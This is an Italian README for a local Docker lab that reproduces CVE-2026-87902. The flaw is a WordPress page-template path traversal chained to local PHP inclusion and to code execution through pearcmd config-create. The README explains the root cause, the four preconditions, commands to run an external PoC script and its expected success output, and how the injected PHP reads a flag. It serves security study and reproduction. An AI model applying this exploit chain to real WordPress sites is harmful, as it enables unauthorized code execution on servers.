
Lab locale basato su Docker che riproduce CVE-2026-87902, un path traversal nei template di pagina di WordPress che porta all'inclusione locale di file PHP e a RCE basata su PEAR, con uno script PoC.
Ambiente Docker locale per riprodurre CVE-2026-87902 (path traversal nel parsing dei template di pagina di WordPress → inclusione di file PHP locale → RCE tramite scrittura di file con pearcmd).
⚠️ Solo per apprendimento e ricerca sulla sicurezza in ambienti autorizzati. Eseguibile solo in Docker locale, vietato l'uso su qualsiasi target non autorizzato. La vulnerabilità è stata corretta ufficialmente il 2026-09-22 e tutte le branch supportate hanno ricevuto la patch.
get_page_template() esegue un secondo urldecode() sul parametro pagename controllabile dall'utente e lo concatena nei nomi candidati del template; locate_template() usa file_exists() per trovare il file e, prima del caricamento, esegue solo controlli di realpath/estensione/leggibilità, senza verificare che il percorso rimanga all'interno della directory del tema (la canonicalizzazione c'è, la containment no)| # | Condizione | Come questo ambiente la soddisfa |
|---|---|---|
| 1 | Pagina pubblicata senza template personalizzato specificato | setup.sh crea e ripulisce automaticamente una pagina di esempio |
| 2 | Directory page-* al livello superiore del tema attivo | theme/mytheme/page-templates/ (il tema attivo contiene questa directory) |
| 3 | /usr/local/lib/php/pearcmd.php leggibile | L'immagine php ufficiale include PEAR |
| 4 | register_argc_argv=On + punto di scrittura scrivibile | L'immagine ufficiale non ha php.ini, il valore predefinito di compilazione è On; /tmp è scrivibile |
docker compose up -d # al primo avvio scarica automaticamente le immagini (circa 1GB)
sh setup.sh # installazione + inserimento di /flag + verifica delle quattro condizioni
python cve-2026-87902.py --url http://127.0.0.1:8091
Output previsto:
[*] page id : 4 (about, default template, via /index.php?rest_route=...)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
(12 volte = il file di configurazione di PEAR ha 12 voci di configurazione, in ognuna è incorporato un payload)
Visualizza il file scritto da PEAR nella stage 1 (testo serializzato che inizia con #PEAR_Config 0.9, con il payload incorporato come caratteri normali nelle 12 voci di configurazione):
docker compose exec wordpress cat /tmp/wp-pear-rce-flag.php
register_argc_argv=On fa sì che la query string venga suddivisa in $argv in base a +, e pearcmd crede di essere stato invocato da terminale; config-create <root> <file> scrive root (con codice PHP incorporato) così com'è nel file di destinazione<?=...?> viene eseguito e legge /flag restituendolo in outputCVE-2026-87902-POC-OK (nel file /flag del container)setup.sh con Git BashPulizia completa (container + volumi dati + immagini):
docker compose down -v --rmi all
docker-compose.yml WordPress 7.0.2-php8.3-apache + MySQL 8.4 + wp-cli
theme/mytheme/ tema sperimentale (contiene la directory page-templates/, condizione ②)
cve-2026-87902.py PoC (da ressl/cve-2026-87902-poc, copyright dell'autore originale)
setup.sh installazione con un comando + autoverifica delle quattro condizioni